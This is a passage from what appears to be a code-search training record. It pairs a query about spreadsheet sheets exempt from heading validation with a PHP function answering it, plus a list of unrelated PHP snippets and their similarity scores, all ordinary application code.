no_spp\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tgl_spp->AdvancedSearch->ToJSON(), \",\"); // Field tgl_spp\n\t\t$sFilterList = ew_Concat($sFilterList, $this->keterangan->AdvancedSearch->ToJSON(), \",\"); // Field keterangan\n\t\t$sFilterList = ew_Concat($sFilterList, $this->jumlah_up->AdvancedSearch->ToJSON(), \",\"); // Field jumlah_up\n\t\t$sFilterList = ew_Concat($sFilterList, $this->bendahara->AdvancedSearch->ToJSON(), \",\"); // Field bendahara\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nama_pptk->AdvancedSearch->ToJSON(), \",\"); // Field nama_pptk\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nip_pptk->AdvancedSearch->ToJSON(), \",\"); // Field nip_pptk\n\t\t$sFilterList = ew_Concat($sFilterList, $this->kode_program->AdvancedSearch->ToJSON(), \",\"); // Field kode_program\n\t\t$sFilterList = ew_Concat($sFilterList, $this->kode_kegiatan->AdvancedSearch->ToJSON(), \",\"); // Field kode_kegiatan\n\t\t$sFilterList = ew_Concat($sFilterList, $this->kode_sub_kegiatan->AdvancedSearch->ToJSON(), \",\"); // Field kode_sub_kegiatan\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tahun_anggaran->AdvancedSearch->ToJSON(), \",\"); // Field tahun_anggaran\n\t\t$sFilterList = ew_Concat($sFilterList, $this->jumlah_spd->AdvancedSearch->ToJSON(), \",\"); // Field jumlah_spd\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nomer_dasar_spd->AdvancedSearch->ToJSON(), \",\"); // Field nomer_dasar_spd\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tanggal_spd->AdvancedSearch->ToJSON(), \",\"); // Field tanggal_spd\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_spd->AdvancedSearch->ToJSON(), \",\"); // Field id_spd\n\t\t$sFilterList = ew_Concat($sFilterList, $this->kode_rekening->AdvancedSearch->ToJSON(), \",\"); // Field kode_rekening\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nama_bendahara->AdvancedSearch->ToJSON(), \",\"); // Field nama_bendahara\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nip_bendahara->AdvancedSearch->ToJSON(), \",\"); // Field nip_bendahara\n\t\t$sFilterList = ew_Concat($sFilterList, $this->no_spm->AdvancedSearch->ToJSON(), \",\"); // Field no_spm\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tgl_spm->AdvancedSearch->ToJSON(), \",\"); // Field tgl_spm\n\t\t$sFilterList = ew_Concat($sFilterList, $this->status_spm->AdvancedSearch->ToJSON(), \",\"); // Field status_spm\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nama_bank->AdvancedSearch->ToJSON(), \",\"); // Field nama_bank\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nomer_rekening_bank->AdvancedSearch->ToJSON(), \",\"); // Field nomer_rekening_bank\n\t\t$sFilterList = ew_Concat($sFilterList, $this->npwp->AdvancedSearch->ToJSON(), \",\"); // Field npwp\n\t\t$sFilterList = ew_Concat($sFilterList, $this->pimpinan_blud->AdvancedSearch->ToJSON(), \",\"); // Field pimpinan_blud\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nip_pimpinan->AdvancedSearch->ToJSON(), \",\"); // Field nip_pimpinan\n\t\t$sFilterList = ew_Concat($sFilterList, $this->no_sptb->AdvancedSearch->ToJSON(), \",\"); // Field no_sptb\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tgl_sptb->AdvancedSearch->ToJSON(), \",\"); // Field tgl_sptb\n\t\tif ($this->BasicSearch->Keyword <> \"\") {\n\t\t\t$sWrk = \"\\\"\" . EW_TABLE_BASIC_SEARCH . \"\\\":\\\"\" . ew_JsEncode2($this->BasicSearch->Keyword) . \"\\\",\\\"\" . EW_TABLE_BASIC_SEARCH_TYPE . \"\\\":\\\"\" . ew_JsEncode2($this->BasicSearch->Type) . \"\\\"\";\n\t\t\t$sFilterList = ew_Concat($sFilterList, $sWrk, \",\");\n\t\t}\n\t\t$sFilterList = preg_replace('/,$/', \"\", $sFilterList);\n\n\t\t// Return filter list in json\n\t\tif ($sFilterList <> \"\")\n\t\t\t$sFilterList = \"\\\"data\\\":{\" . $sFilterList . \"}\";\n\t\tif ($sSavedFilterList <> \"\") {\n\t\t\tif ($sFilterList <> \"\")\n\t\t\t\t$sFilterList .= \",\";\n\t\t\t$sFilterList .= \"\\\"filters\\\":\" . $sSavedFilterList;\n\t\t}\n\t\treturn ($sFilterList <> \"\") ? \"{\" . $sFilterList . \"}\" : \"null\";\n\t}", "function LoadDefaultFilters() {\n\t\tglobal $dealers_reports;\n\n\t\t/**\n\t\t* Set up default values for non Text filters\n\t\t*/\n\n\t\t// Field StartDate\n\t\t$dealers_reports->StartDate->DefaultDropDownValue = EWRPT_INIT_VALUE;\n\t\t$dealers_reports->StartDate->DropDownValue = $dealers_reports->StartDate->DefaultDropDownValue;\n\n\t\t/**\n\t\t* Set up default values for extended filters\n\t\t* function SetDefaultExtFilter(&$fld, $so1, $sv1, $sc, $so2, $sv2)\n\t\t* Parameters:\n\t\t* $fld - Field object\n\t\t* $so1 - Default search operator 1\n\t\t* $sv1 - Default ext filter value 1\n\t\t* $sc - Default search condition (if operator 2 is enabled)\n\t\t* $so2 - Default search operator 2 (if operator 2 is enabled)\n\t\t* $sv2 - Default ext filter value 2 (if operator 2 is enabled)\n\t\t*/\n\n\t\t/**\n\t\t* Set up default values for popup filters\n\t\t*/\n\t}", "public function test_sanitized_action_name() {\n\t\t$actual = wp_create_user_request( self::$non_registered_user_email, 'export[_person*al_\\data' );\n\n\t\t$this->assertNotWPError( $actual );\n\n\t\t$post = get_post( $actual );\n\n\t\t$this->assertSame( 'export_personal_data', $post->post_name );\n\t\t$this->assertSame( self::$non_registered_user_email, $post->post_title );\n\t}", "public function filters()\n {\n $filters = [];\n $filters['name'] = ['trim', 'empty_string_to_null', 'capitalize'];\n $filters['email'] = ['trim', 'empty_string_to_null', 'lowercase'];\n return $filters;\n }", "public function getFilterParameters(): array;", "public function getSpecifics() {}", "public function wpcd_app_table_filtering() {\n\n\t\tglobal $typenow, $pagenow;\n\n\t\t$post_type = 'wpcd_app';\n\n\t\tif ( is_admin() && 'edit.php' === $pagenow && $typenow === $post_type ) {\n\n\t\t\t$apps = $this->generate_meta_dropdown( $post_type, 'app_type', __( 'All App Types', 'wpcd' ) );\n\t\t\techo $apps;\n\n\t\t\t$servers = $this->generate_server_dropdown( __( 'All Servers', 'wpcd' ) );\n\t\t\techo $servers;\n\n\t\t\t$providers = $this->generate_meta_dropdown( 'wpcd_app_server', 'wpcd_server_provider', __( 'All Providers', 'wpcd' ) );\n\t\t\techo $providers;\n\n\t\t\t$regions = $this->generate_meta_dropdown( 'wpcd_app_server', 'wpcd_server_region', __( 'All Regions', 'wpcd' ) );\n\t\t\techo $regions;\n\n\t\t\t$server_owners = $this->generate_owner_dropdown( 'wpcd_app_server', 'wpcd_server_owner', __( 'All Server Owners', 'wpcd' ) );\n\t\t\techo $server_owners;\n\n\t\t\t$app_owners = $this->generate_owner_dropdown( $post_type, 'wpcd_app_owner', __( 'All App Owners', 'wpcd' ) );\n\t\t\techo $app_owners;\n\n\t\t\t$ipv4 = $this->generate_meta_dropdown( 'wpcd_app_server', 'wpcd_server_ipv4', __( 'All IPv4', 'wpcd' ) );\n\t\t\techo $ipv4;\n\n\t\t\t$taxonomy = 'wpcd_app_group';\n\t\t\t$app_group = $this->generate_term_dropdown( $taxonomy, __( 'App Groups', 'wpcd' ) );\n\t\t\techo $app_group;\n\t\t}\n\t}", "public function wrongNamesDataProvider() {}", "function _checkParams($controller){\n \tif (empty($controller->params['named'])){\n \t\t$filter = array();\n \t}\n \t\n App::import('Sanitize');\n $sanit = new Sanitize();\n $controller->params['named'] = $sanit->clean($controller->params['named']);\n\n \n \tforeach($controller->params['named'] as $field => $value){\n \t\t\n \t\tif(!in_array($field, $this->paginatorParams)){\n\t\t\t\t$fields = explode('.',$field);\n\t\t\t\tif (sizeof($fields) == 1)\n\t \t\t\t$filter[$controller->modelClass][$field] = $value;\n\t \t\telse\n\t \t\t\t$filter[$fields[0]][$fields[1]] = $value; \t\t\t\n \t\t}\n \t}\n \t\t\n \tif (!empty($filter))\n \t\treturn $filter;\n \telse\n \t\treturn array(); \t\n }", "public function getDncSourceTypeAllowableValues()\n {\n return [\n self::DNC_SOURCE_TYPE_RDS,\n self::DNC_SOURCE_TYPE_DNCCOM,\n self::DNC_SOURCE_TYPE_GRYPHON,\n ];\n }", "public static function excelIndustryHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Industry',\n 'Qualification type',\n// 'Employer size'\n ];\n }", "public function getTabTitle()\n {\n return Mage::helper('catalogrule')->__('Conditions');\n }", "private function filterOptions(){\n $request = new Request();\n\n $key = $request->query->get('key') ? $this->global_helper_service->cleanDataInput($request->query->get('key')) : '';\n $date_range = $request->query->get('date_range') ? $request->query->get('date_range') : '';\n\n $array_filters = array();\n\n $array_filters['key'] = array(\n 'type' => 'input',\n 'title' => 'Search',\n 'default_value' => $key\n );\n\n $array_filters['date_range'] = array(\n 'type' => 'date_picker',\n 'title' => 'Date Range',\n 'options' => '',\n 'default_value' => $date_range\n );\n\n return $this->admincp_service->handleElementFormFilter($array_filters);\n }", "function CheckFilter()\n{\n\tglobal $FilterArr, $lAdmin;\n\tforeach ($FilterArr as $f) global $$f;\n\t\n\treturn count($lAdmin->arFilterErrors) == 0; //if some errors took place, return false;\n}", "public function GetFilters ();", "private function reservedNames() {\n\t\t\t\treturn array(\n\t\t\t\t\t\t'theme',\n\t\t\t\t\t\t'site_name',\n\t\t\t\t\t\t'language',\n\t\t\t\t\t\t'cache',\n\t\t\t\t\t\t'owner_email',\n\t\t\t\t\t\t'notification_email',\n\t\t\t\t\t\t'upgrades',\n\t\t\t\t\t\t'display_errors',\n\t\t\t\t\t\t'site_key',\n\t\t\t\t\t\t'last_cache',\n\t\t\t\t\t\t'site_version'\n\t\t\t\t);\n\t\t}", "public function getSheet()\n {\n return $this->sheet;\n }", "public static function getFilterList()\n {\n return ['nospaces'];\n }", "private function getActiveSheet() {\n\t\treturn $this->workbook->getActiveSheet();\n\t}", "public function getAllowedTypesOfValueKeeper(): array\n {\n return [ValuesOfSheet::class];\n }", "public function provideFilters() {\n return [\n 'filter ID mapped to plugin that exists' => [\n 'foo',\n 'filter_html',\n ],\n 'filter ID not mapped but unchanged from the source and the plugin exists' => [\n 'filter_html',\n 'filter_html',\n ],\n 'filter ID mapped to plugin that does not exist' => [\n 'baz',\n 'filter_null',\n 'php_code',\n ],\n 'filter ID not mapped but unchanged from the source and the plugin does not exist' => [\n 'php_code',\n 'filter_null',\n 'php_code',\n ],\n 'filter ID set and the plugin does not exist' => [\n ['filter', 1],\n 'filter_null',\n 'filter:1',\n ],\n 'transformation-only D7 contrib filter' => [\n 'editor_align',\n '',\n NULL,\n TRUE,\n ],\n 'non-transformation-only D7 contrib filter' => [\n 'bbcode',\n 'filter_null',\n ],\n ];\n }", "public function filters()\n {\n return [\n 'src' => \"trim\"\n ];\n }", "public function getName()\n {\n return \"apihour_contractors_filters_type\";\n }", "public function getDefaultFilterColumns();", "public function getFilters(): array;", "function swiftype_search_params_filter( $params ) {\r\n $params['facets[posts]'] = array( 'category', 'emc_content_format', 'emc_grade_level', 'emc_tax_found', 'emc_tax_common_core' );\r\n return $params;\r\n}" ]
[ "0.6246244", "0.54683524", "0.52591676", "0.5179386", "0.5084792", "0.5026849", "0.50082606", "0.49674705", "0.49630842", "0.49483258", "0.4920606", "0.4916338", "0.49000332", "0.483711", "0.48130536", "0.4794994", "0.47882685", "0.47810608", "0.47774634", "0.47673056", "0.47281447", "0.47219133", "0.47153667", "0.4702258", "0.46970406", "0.4696601", "0.46884298", "0.46829736", "0.46715578", "0.46607074", "0.4659945", "0.4656814", "0.46532977", "0.46495324", "0.4643507", "0.46344882", "0.46320292", "0.46235812", "0.4621924", "0.46183175", "0.46164283", "0.46148932", "0.46103093", "0.46094456", "0.4607245", "0.46051782", "0.46023953", "0.45837238", "0.45696658", "0.45595136", "0.4543372", "0.45412114", "0.45367506", "0.45359552", "0.4535466", "0.45306373", "0.45303273", "0.45069525", "0.45025426", "0.44906187", "0.44899884", "0.44877928", "0.44853762", "0.4482886", "0.4482607", "0.4479667", "0.44760936", "0.44696206", "0.44695497", "0.4464308", "0.4459175", "0.44531685", "0.44529277", "0.44483295", "0.4445036", "0.4444566", "0.4442536", "0.4437955", "0.44356564", "0.44330972", "0.44320962", "0.44295835", "0.44272265", "0.44228062", "0.4410914", "0.44104066", "0.44028258", "0.43990004", "0.43987027", "0.43979815", "0.43915957", "0.43887773", "0.43875137", "0.43805784", "0.43769524", "0.4375904", "0.43716353", "0.43713686", "0.4369816", "0.43691486" ]
0.76614505
0
Sheets that not require heading validation
public static function wdtSheetsNoHeadingValidation() { return [ 'Age-Gen-Educ-Employ', 'Employment_timeseries', 'Training activity_FoE', 'Training activity_TP', 'Qual completions', // TODO more imports ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function testGetSheetsFunction(): void\n {\n $exp_sheets = array(\n 'First Sheet',\n 'Second Sheet',\n 'Third Sheet'\n );\n $sheet_name_list = array();\n foreach ($this->reader->getSheets() as $worksheet) {\n $sheet_name_list[] = $worksheet->getName();\n }\n self::assertSame($exp_sheets, $sheet_name_list, 'Sheet list differs');\n }", "public function testSheetsIndex()\n {\n $this->json('GET', '/api/sheets', [])\n ->assertResponseOk()\n ->seeJson([\n 'id' => 1,\n ]);\n }", "abstract public function addNewSheet();", "public function addNewSheet();", "public function testSheetsShow()\n {\n $this->json('GET', '/api/sheets/1', [])\n ->assertResponseOk()\n ->seeJson([\n 'id' => 1,\n ]);\n }", "protected function checkNumberOfSheetsInWorkbook() {\n\n\t\tif (0 >= $this->getNumberOfSheets()) {\n\t\t\tthrow new \\LogicException('WorkbookDelegate::numberOfSheetsInWorkbook have to return an integer bigger than zero.');\n\t\t}\n\n\t\treturn $this;\n\t}", "public static function wdtAllowSheetNames()\n {\n return [\n 'Skilling South Australia',\n 'Regions',\n 'Retention',\n 'Recruitment',\n 'Migration',\n 'Skill demand',\n 'Skills shortages',\n 'Plans & projects',\n 'Actions & strategies',\n 'Industries',\n 'Age-Gen-Educ-Employ',\n 'Employment_timeseries',\n 'Training activity_FoE',\n 'Training activity_TP',\n 'Qual completions',\n // TODO more imports\n ];\n }", "function rawpheno_change_sheet(&$xls_obj, $tab_name) {\n // Get all the sheets in the workbook.\n $xls_sheets = $xls_obj->Sheets();\n\n // Locate the measurements sheet.\n foreach($xls_sheets as $sheet_key => $sheet_value) {\n $xls_obj->ChangeSheet($sheet_key);\n\n // Only process the measurements worksheet.\n if (rawpheno_function_delformat($sheet_value) == 'measurements') {\n return TRUE;\n }\n }\n\n return FALSE;\n}", "public function testCountSheetsThrowsNonPrintableException()\n {\n $paper = new PaperSheet('name', 700, 1000, PaperSheet::LONG_GRAIN, 0);\n $config = new Config();\n $config->addPaper($paper);\n $order = new Order($config);\n \n $this->setExpectedException(\"\\Letterpress\\Exception\");\n $order->countSheets($paper, 30);\n }", "public function validateHeader($cell)\n {\n $array = [\n 'Cidade ou Região',\n 'Faixa CEP Inicial',\n 'Faixa CEP Final',\n 'Peso Inicial',\n 'Peso Final',\n 'Valor Frete',\n 'Prazo de Entrega',\n 'AD VALOREM ( % )',\n 'KG Adicional'\n ];\n\n if (!in_array($cell, $array, true)) {\n throw new \\InvalidArgumentException(ERROR_FILE_INVALID_IMPORT_EXCEL, E_USER_WARNING);\n }\n }", "public function getServiceSheets()\n {\n $client = $this->getClient();\n $service = new Google_Service_Sheets($client);\n return $service;\n }", "public function sheets(): array\n {\n return [\n 0 => new CustomersImport(),\n 1 => new SalesImport(),\n 2 => new ProductsImport(),\n 3 => new EmployeeImport()\n ];\n }", "private function checkValidSheetName($sheetName) {\n\t\t$index = substr($sheetName, 0, 2);\n\t\tif (is_numeric($index)) \n\t\t\treturn $index;\n\t\telse\n\t\t\treturn false;\n\t}", "public function getSheet()\n {\n return $this->sheet;\n }", "public function getNumberOfSheetsForFitting(): int\n {\n return $this->numberOfSheetsForFitting;\n }", "function getSheetThickness ($class, $totalSheets) {\n\tif ($class == 1){\n\t\t$modSheets = $totalSheets / 3;\n\t}\n\telse if ($class == 2){\n\t\t\t$modSheets = $totalSheets;\n\t}\n\telse if ($_POST[\"lam\"] == \"lam\") {\n\t\n\t\t\t$modSheets = $totalSheets * 2;\n\t}\n\telse {\n\t\t$modSheets = $totalSheets * 2;\n\t}\n\treturn $modSheets;\n}", "protected function getNumberOfSheets() {\n\n\t\tif (null == $this->iSheets)\n\t\t\t$this->iSheets = (int) $this->getDelegate()->numberOfSheetsInWorkbook($this->getWorkbook());\n\n\t\treturn $this->iSheets;\n\t}", "public function testChangeSheetFunction(): void\n {\n foreach ($this->reader->getSheets() as $index => $worksheet) {\n $sheet_name_in_sheet_data = $worksheet->getName();\n self::assertTrue(\n $this->reader->changeSheet($index),\n 'Unable to switch to sheet [' . $index . '] => [' . $sheet_name_in_sheet_data . ']'\n );\n\n // For testing, the sheet name is written in each sheet's first cell of the first line\n $content = $this->reader->current();\n self::assertNotEmpty(\n $content,\n 'No content found in sheet [' . $index . '] => [' . $sheet_name_in_sheet_data . ']'\n );\n $sheet_name_in_cell = $content[0];\n self::assertSame(\n $sheet_name_in_cell,\n $sheet_name_in_sheet_data,\n 'Sheet has been changed to a wrong one'\n );\n }\n\n // test index out of bounds\n self::assertFalse(\n $this->reader->changeSheet(-1),\n 'Error expected when stepping out of bounds'\n );\n }", "protected function checkExcel(): void\n {\n if ('application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' === $this->mimeType ||\n 'application/vnd.openxmlformats-officedocument.spreadsheetml.template' === $this->mimeType ||\n 'application/vnd.ms-excel' === $this->mimeType ||\n 'xls' === $this->fileExtension ||\n 'xlsx' === $this->fileExtension\n ) {\n $this->iconClass = self::ICON_EXCEL;\n }\n }", "function tableValidator( &$errors, &$warnings, &$excel, &$lang ){\n $valid = 0;\n for( $col = 1; $col <= $excel->numCols(); $col++ ) {\n if( empty($excel->valueAt( 1, $col )) ){\n for( $row = 2; $row <= $excel->numRows(); $row++ ){\n if( $excel->valueAt( $row, $col) !== '' ){\n array_push( $warnings, sprintf( $lang['xlsimport_warning_column_without_name'], chr( $col + 64 )) );\n $row = $excel->numRows();\n $valid = 1;\n }\n }\n }else{\n for( $comp_col = ($col + 1); $comp_col <= $excel->numCols(); $comp_col++ ) {\n if($excel->valueAt( 1, $col ) === $excel->valueAt( 1, $comp_col )){\n array_push( $errors, sprintf( $lang['xlsimport_warning_colname_duplicate'], chr( $col + 64 ), chr( $comp_col + 64 )));\n $valid = 2;\n }\n }\n }\n }\n return $valid;\n}", "public function addNewSheetAndMakeItCurrent();", "public function onUnknownSheet($sheetName)\n {\n info(\"Sheet {$sheetName} was skipped\");\n }", "function sheetSetUp(){\n $client = getClient();\n\n //running a check to see if the file exist on google drive or not\n if (!file_exists('info')){\n\n $service = new Google_Service_Sheets($client);\n\n } else{\n\n echo' Already exist! Please contact your Admin';\n }\n\n\n $spreadsheet = new Google_Service_Sheets_Spreadsheet();\n $name = new Google_Service_Sheets_SpreadsheetProperties();\n\n $title = 'Info';\n $name->setTitle($title);\n $spreadsheet->setProperties($name);\n\n\n\n $sheet = new Google_Service_Sheets_Sheet();\n $grid_data = new Google_Service_Sheets_GridData();\n\n $cells = [];\n\n //this is where the values are coming from\n $info_arr = getTables();\n\n //this works now from our database\n foreach($info_arr as $key => $datatables){\n foreach($datatables as $dt) {\n $row_data = new Google_Service_Sheets_RowData();\n $cell_data = new Google_Service_Sheets_CellData();\n $extend_value = new Google_Service_Sheets_ExtendedValue();\n\n\n $extend_value->setStringValue($dt);\n $cell_data->setUserEnteredValue($extend_value);\n array_push($cells, $cell_data);\n $row_data->setValues($cells);\n $grid_data->setRowData([$row_data]);\n $sheet->setData($grid_data);\n };\n };\n\n //sets the sheet with the info\n $spreadsheet->setSheets([$sheet]);\n //creates the spreadsheet with the info in it\n $service->spreadsheets->create($spreadsheet);\n\n}", "public static function excelSummaryHeadings()\n {\n return [\n 'Industry',\n 'Survey responses',\n 'Employer',\n 'Government body',\n 'Non-government organisation',\n 'Registered training organisation',\n 'Enterprise training provider',\n 'Group training organisation',\n 'Skills service organisation',\n 'Individual',\n 'Trade union',\n 'Industry Association/Peak body',\n 'Statutory authority',\n 'Self-employed',\n 'Not for profit',\n 'School or University',\n 'Other',\n 'Small',\n 'Medium',\n 'Large'\n ];\n }", "public function removeSheet($index = null): void\n {\n if (null === $index) {\n array_shift($this->sheets);\n }\n\n if (is_int($index)) {\n $keys = array_keys($this->sheets);\n if (!isset($keys[--$index])) {\n throw new Exception('Sheet #' . $index . ' not found');\n }\n unset($this->sheets[$keys[$index]]);\n }\n else {\n $key = mb_strtolower($index);\n if (!isset($this->sheets[$key])) {\n throw new Exception('Sheet \"' . $index . '\" not found');\n }\n unset($this->sheets[$key]);\n }\n }", "public function setSheet($value)\n {\n $this->sheet = $value;\n return $this;\n }", "function valid_research($tab) {\n $pattern = \"/[^a-zA-Z1-9-+]/\";\n for ($i=0; $i < count($tab); $i++) {\n if (preg_match($pattern, $tab[$i])) {\n return FALSE;\n }\n }\n return TRUE;\n}", "public function rules()\n {\n return [\n //'excel' => 'required|mimes: xlsx, xls' // Excel mime type detection seems to be buggy.\n 'excel' => 'required',\n ];\n }", "public function setUp()\n {\n new Sheet();\n }", "static private function getSpreadSheetService()\n {\n $client = self::getClient();\n if (!($client instanceof Google_Client)) {\n echo json_encode([\n 'success' => false,\n 'error' => '<br>認証情報が不正です。<br>client_secret.jsonは配置されていますか?<br>配置されているなら「認証情報の作成」ボタンを押してください。'\n ]);\n die();\n }\n\n /**\n * @var $client Google_Client\n */\n return new Google_Service_Sheets($client);\n }", "private function verifyKey(array $readSpreadSheet): void\n {\n $keys = [\n 'sheet_id',\n 'category_tag',\n 'read_type',\n 'use_blade',\n 'output_directory_path',\n 'definition_directory_path',\n 'separation_key',\n 'attribute_group_column_name',\n ];\n\n foreach ($keys as $key) {\n if (! array_key_exists($key, $readSpreadSheet)) {\n throw new LogicException('There is no required setting value:'.$key);\n }\n }\n }", "protected function _verification_format_fichier($sheet)\n {\n foreach ($this->columns as $column => $header) {\n if (strcasecmp(trim($this->_cellule($sheet,$column.'1')), $header) != 0) {\n return array($column, $header);\n }\n }\n\n return true;\n }", "public function rules()\n {\n return [\n 'section' => 'required'\n ];\n }", "public function rules()\n {\n $whs = new SWarehouse();\n $location = new SLocation();\n\n return [\n 'code' => 'required',\n 'name' => 'required',\n 'whs_id' => 'required|exists:siie.'.$whs->getTable().',id_whs',\n ];\n }", "function publisher_is_valid_header_style( $layout ) {\n\n\t\treturn ( is_string( $layout ) || is_int( $layout ) ) &&\n\t\t array_key_exists( $layout, publisher_header_style_option_list() );\n\t}", "public function getSheet(): ?Type\n {\n return $this->sheet;\n }", "public function __construct()\n\t{\n\t\t// $sheet = $spreadsheet->getActiveSheet();\n\t}", "function fileValidate($path){\n $validate_array = array();\n $excel = new PHPExcel;\n $path =public_path().\"/uploads/\".$path;\n $objPHPExcel = PHPExcel_IOFactory::load($path);\n \t\t$validate_array['fileSize'] = filesize($path);\n $validate_array['sheetCount'] = $objPHPExcel->getSheetCount();\n for($i=0;$i<$validate_array['sheetCount'];$i++){\n $activeSheet = $objPHPExcel->setActiveSheetIndex($i); // set active sheet\n\n $validate_array['sheetRow'][$i] = $activeSheet->getHighestRow();\n $validate_array['sheetColumn'][$i] = $activeSheet->getHighestColumn();\n $validate_array['sheetDimension'][$i] = $activeSheet->calculateWorksheetDimension();\n $validate_array['sheetTitle'][$i] = $activeSheet->getTitle();\n\n $cell_collection = $activeSheet->getCellCollection();\n $arr_data = array();\n foreach ($cell_collection as $key=>$cell) {\n $column = $activeSheet->getCell($cell)->getColumn();\n $colNumber = PHPExcel_Cell::columnIndexFromString($column);\n $row = $activeSheet->getCell($cell)->getRow();\n if($row == 6)\n break;\n $data_value = $activeSheet->getCell($cell)->getValue();\n $arr_data[$row][$colNumber] = $data_value;\n //$validate_array['sheetdata'][$i] = $arr_data;\n \t}\n $validate_array['sheetData'][$i] = $arr_data;\n }\n //echo \"<pre>\"; echo json_encode($validate_array,JSON_PRETTY_PRINT); exit;\n //echo \"<pre>\"; print_r ($validate_array); exit;\n return $validate_array;\n }", "public function isInternal()\n {\n return strpos($this->url, 'sheet://') !== false;\n }", "private function check_head($table, $head)\n {\n $checked_head = $table->columns->filter(function($column) use($head) {\n return !array_key_exists($column->name, $head ? $head : []);\n });\n\n if (!$checked_head->isEmpty())\n throw new RowsImportException(['head' => $checked_head]);\n\n }", "public function testValidateDocumentXlsxValidation()\n {\n }", "private function getActiveSheet() {\n\t\treturn $this->workbook->getActiveSheet();\n\t}", "private function check()\n {\n $valid = true;\n\n // @todo Use manifest ?\n // - Check mains layout exists (home + page?)\n\n if (! $valid) {\n // @todo Create an explained Exception\n throw new \\Exception(sprintf('%s named \"%s\" is not valid', __CLASS__, $this->getName()));\n }\n }", "private function check_is_empty($excel) {\n $error_msg = '';\n if (empty($excel['taxcode']))\n $error_msg .= 'Employee Taxcode Required.';\n if (empty($excel['enrollment_type'])) {\n $error_msg .= 'Enrollment Type Required.';\n } else {\n if (($excel['enrollment_type'] != 'FIRST')) {\n if ($excel['enrollment_type'] != 'RETAKE') {\n $error_msg .='Invalid Enrollment Type';\n }\n }\n }\n if ($excel['enrollment_type'] == 'RETAKE') {\n if (empty($excel['enrol_retake_pay_mode'])) {\n $error_msg .= 'Enrollment Type being RE-TAKE, Mode of Payment is required.';\n } else {\n if ($excel['enrol_retake_pay_mode'] != 'REQUIRED') {\n if ($excel['enrol_retake_pay_mode'] != 'BYPASS') {\n $error_msg .='Invalid Re-take Payment Mode.';\n }\n }\n }\n }\n if (!empty($excel['subsidy_amount'])) {\n if (!is_numeric($excel['subsidy_amount'])) {\n $error_msg .= 'Invalid Subsidy Amount.';\n } else {\n if (empty($excel['subsidy_recd_on'])) {\n $error_msg .= 'Subsidy recd. on date required, as subsidy amount is present.';\n } else {\n if (strtotime($excel['subsidy_recd_on']) === FALSE) {\n $error_msg .= 'Invalid Subsidy Received on Date Format.';\n }\n }\n }\n }\n return $error_msg;\n }", "public function routeSheets(): HasMany\n {\n return $this->hasMany(RouteSheet::class);\n }", "public function fillFromArray(array $rules): void\n {\n parent::fillFromArray($rules);\n $this->numberOfSheetsForFitting = (int) ($rules['number_of_sheets_for_fitting'] ?? 0);\n }", "public function rules()\n {\n return [\n 'name' => ['required', Rule::unique('titles' ,'name')->ignore($this->title->id)],\n 'slug' => ['required', Rule::unique('titles' ,'slug')->ignore($this->title->id)],\n 'introduced_at' => 'required|date',\n ];\n }", "public function validate() {\n//\t\tif( intval($this->params[\"startYear\"] < date(\"yyyy\"))) $this->add_validation_error(\"Season cannot exist in the past.\");\n\t}", "public function add_worksheet($name = '') {\n if (isset($this->objspreadsheet)) {\n // Moodle >= 3.8\n $obj = $this->objspreadsheet;\n } else if (isset($this->objPHPExcel)) {\n // Moodle 2.5 - 3.7\n $obj = $this->objPHPExcel;\n } else {\n $obj = null; // shouldn't happen !!\n }\n if (empty($obj)) {\n return false;\n }\n return new block_maj_submissions_ExcelWorksheet($name, $obj);\n }", "public function testLoadXlsxConditionalFormattingDataBar(): void\n {\n $filename = 'tests/data/Reader/XLSX/conditionalFormattingDataBarTest.xlsx';\n $reader = IOFactory::createReader('Xlsx');\n $spreadsheet = $reader->load($filename);\n $worksheet = $spreadsheet->getActiveSheet();\n\n $this->pattern1Assertion($worksheet);\n $this->pattern2Assertion($worksheet);\n $this->pattern3Assertion($worksheet);\n $this->pattern4Assertion($worksheet);\n }", "public function rules()\n {\n if(isset($this->id)){\n return [\n 'section_name'=>'required|unique:law_section,section_name,'.$this->id,\n 'section_description'=>'required'\n ];\n }\n return [\n 'section_name'=>'required|unique:law_section',\n 'section_description'=>'required',\n ];\n }", "public function store(SheetsRequest $request)\n {\n $this->sheetsService->storeAbout($request->request->all());\n return redirect(route(\"voyager.about.index\"));\n }", "private function detectHeadersValidity()\n\t{\n\n\t\tif (isset($this->colsOrder[\"CATEGORIES\"]) &&\n\t\t\tisset($this->colsOrder[\"SUMMARY\"]) &&\n\t\t\tisset($this->colsOrder[\"DTSTART\"]) &&\n\t\t\tisset($this->colsOrder[\"DTEND\"]) &&\n\t\t\tisset($this->colsOrder[\"TIMEZONE\"]))\n\t\t\treturn true;\n\t\telse\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t}", "public function show(Sheet $sheet)\n {\n //\n }", "function checkWeeks() {\n\t\tglobal $weeklyhours; \n\t\t\n\t\tforeach ( $this->weeklyAnalysis as &$week ) {\n\t\t\tif ( $week['total'] < $weeklyhours ) {\n\t\t\t\t$week['complete'] = 0; \t\t\t\t\t\t\t// set this week incomplete\n\t\t\t\t$this->complete = 0; \t\t\t\t\t\t\t// set entire analysis to incomplete\n\t\t\t}\n\t\t\telse $week['complete'] = 1;\n\t\t\t\t\n\t\t}\n\t}", "public function rules()\n {\n return [\n 'name' => ['required', Rule::unique('titles', 'name')->ignore($this->title->id)],\n 'slug' => ['required', Rule::unique('titles', 'slug')->ignore($this->title->id)],\n 'introduced_at' => ['required', 'date', new BeforeFirstMatchDate($this->title)],\n ];\n }", "public function dataSheets()\n {\n return view('resources.data_sheets');\n }", "public static function xlsValidate()\n {\n $file = $_FILES['file']['name'];\n $file_part = pathinfo($file);\n $extension = $file_part['extension'];\n $support_extention 